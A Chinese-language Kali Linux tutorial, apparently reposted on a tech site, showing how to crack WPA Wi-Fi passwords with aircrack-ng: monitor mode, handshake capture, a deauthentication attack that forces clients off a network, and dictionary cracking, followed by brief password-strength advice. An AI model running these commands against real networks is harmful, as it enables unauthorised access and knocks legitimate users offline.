Kali Linux——aircrack-ng无线教程

目录

一、准备

二、案例

1、连接usb无线网卡

2、查看网卡信息

3、开启网卡监听

4、扫描wifi信号

5、抓取握手包

 6、强制断开连接

7、破解握手包

三、预防 


一、准备

1、usb无线网卡(笔记本也是需要用到)

2、密码字典(Kali 系统自带字典目录wordlists。/usr/share/wordlists)

二、案例

1、连接usb无线网卡

把usb无线网卡插入,并连接至Kali虚拟机。

2、查看网卡信息

【操作命令】

airmon-ng

【操作实例】

#说明:wlan0是网卡,后面要使用到

3、开启网卡监听

【操作命令】

airmon-ng start wlan0

【操作实例】

 

#说明:wlan0是网卡,根据1中查看到的结果自行修改 

4、扫描wifi信号

【操作命令】

airodump-ng wlan0

【操作实例】

#说明:空格可以暂停。

ESSID:WiFi名称。

CH:信道。

BSSID:路由器mac地址。 

5、抓取握手包

【操作命令】

airodump-ng -w kalitest -c 1 --bssid 08:10:7C:4A:27:01 wlan0

 #说明:以4中扫描出的glovet为例。

-c:指定信道,4中glovet对应的CH。

-w:指定抓取握手包存放名称(kalitest),存放在当前操作目录下。可使用pwd命令查看当前目录。

--bssid:指定路由器mac地址,4中glovet对应的bssid。

【操作实例】

#说明:

BSSID:路由器mac地址

STATION:连接路由器的终端mac地址。

 6、强制断开连接

#注意:需要重新打开一个终端执行命令。

5中扫描无结果,无法操作。

【操作命令】

aireplay-ng -0 2 -a 08:10:7C:4A:27:01 -c A0:82:22:49:AE:99 wla0

【操作实例】

#说明:-0:指定发送反认证包个数。

-a:指定路由器mac地址。5中扫描结果中的BSSID。

-c:指定客户端mac地址。5中扫描结果中的STATION。

wlan0:网卡名称。

7、破解握手包

【操作命令】

aircrack-ng -w pass.txt kalitest-*.cap

#说明:-w:指定密码字典

kalitest-*.cap:*号统配所有cap文件。kalitest对应5中-w对应名称。

【操作实例】

#说明:Current passphrase:就是当前正在尝试破解的密码。我测试时,破解速度是1秒2000左右个密码。

破解依赖于字典,说白了就是通过字典一个一个去试密码,试对了就破解了,字典中没有对应密码就不能破解。字典越大,破解的可能性越高,尝试完成花费时间越长。

获取更多的信息有助于破解,比如具体几位数密码,密码组成(数字、字母等)。

三、预防 

 对于这种暴力破解的预防,简单点就是密码设置相对复杂。

例如可以设置12位以上,涵盖大写字母、小写字母、数字、符号的混合密码,且不要使用英文单词或有规律的词组。

这种密码不是不能破解,而是需要的时间很长,没有这个价值,别人不会去破解。一般性能的电脑去破解这种程度的密码几乎不太可能,除非运气好。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/340891.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

好用便签:如何高效完成待办事项,提高工作效率?

在职场上,很多打工人总会有各种各样的待办事项需要处理,有时候因为手头上正在做的事还没做完,又接到一些其他的任务,导致不知道先做哪个,或者是忘了做某件事,导致工作效率极低。那么,如何高效处…

FineBI实战项目一(15):订单销售总额分析开发

点击新建组件,创建订单销售总额组件。 选择自定义图表,选择文本,拖拽要分析的字段到文本中。 进入仪表板,拖拽刚刚的组件进入仪表板,然后在再编辑标题。 效果如下

FineBI实战项目一(18):每小时上架商品个数分析开发

点击新建组件,创建每小时上架商品个数组件。 选择线图,拖拽cnt(总数)到纵轴,拖拽hourStr到横轴。 修改横轴和纵轴的文字。 调节连线样式。 添加组件到仪表板。

手写一个starter来理解SpringBoot的自动装配

自动装配以及简单的解析源码 自动装配是指SpringBoot在启动的时候会自动的将系统中所需要的依赖注入进Spring容器中 我们可以点开SpringBootApplication这个注解来一探究竟 点开这个注解可以发现这些 我们点开SpringBootConfiguration这个注解 可以发现实际上SpringBootApp…

C# 使用Fleck创建WebSocket服务器

目录 写在前面 代码实现 服务端代码 客户端代码 调用示例 写在前面 Fleck 是 C# 实现的 WebSocket 服务器,通过 WebSocket API,浏览器和服务器只需要做一个握手的动作,然后浏览器和服务器之间就形成了一条快速通道;两者之间…

深度学习笔记(三)——NN网络基础概念(神经元模型,梯度下降,反向传播,张量处理)

文中程序以Tensorflow-2.6.0为例 部分概念包含笔者个人理解,如有遗漏或错误,欢迎评论或私信指正。 截图部分引用自北京大学机器学习公开课 人工智能算法的主流分类 首先明白一个概念,广义上的人工智能算法并不是只有Machine Learning或Deep …

什么牌子的洗地机清洁效果强?性能超好的洗地机推荐

随着生活品质的提高,家庭清洁也逐渐成为了人们生活中重要的一环。而传统的拖把方式已经无法满足人们对于清洁效果和舒适度的需求。因此,洗地机作为现代家庭清洁的利器受到了越来越多人的追捧。今天,我们将为大家带来几款清洁力强的、性能超好…

TS 36.331 V12.0.0-过程(4)-测量

​本文的内容主要涉及TS 36.331,版本是C00,也就是V12.0.0。

【三】把Python Tk GUI打包exe可执行程序,移植到其他机器可用

背景 这是一个系列文章。上一篇【【二】为Python Tk GUI窗口添加一些组件和绑定一些组件事件-CSDN博客】 使用python脚本写一个小工具。因为命令行运行的使用会有dos窗口,交互也不是很方便,开发环境运行也不方便分享给别人用,所以想到…

【AIGC】一组精美动物AI智能画法秘诀

如何使用AI绘画,从以下角度,依据表格内容梳理,表格如下: 外貌特征物种姿势特征描述场景风格技术描述小巧可爱幼小浣熊倚在桌子上具有人形特征中世纪酒馆电影风格照明8k分辨率细节精致毛茸茸手持咖啡杯Jean-Baptiste Monge的风格蓝…

登录模块的实现

一.前期的准备工作 1.页面的布局 (1)表单的校验: 利用element-ui提供的文档绑定rules规则后实现校验 (2)跨域的配置 : 利用proxy代理来解决跨域的问题 (3)axios拦截器的配置 两个点:1. 在请求拦截的成功回调中,如果token,因为调用其它的接口需要token才能调取。 在请…

MongoDB调优

三大导致 MongoDB 性能不佳的原因 1)慢查询2)阻塞等待3)硬件资源不足1,2通常是因为模型/索引设计不佳导致的。排查思路:按1-2-3依次排查。 影响 MongoDB 性能的因素 MongoDB 性能监控工具 Free Monitoring 从版本 4.0 开始&am…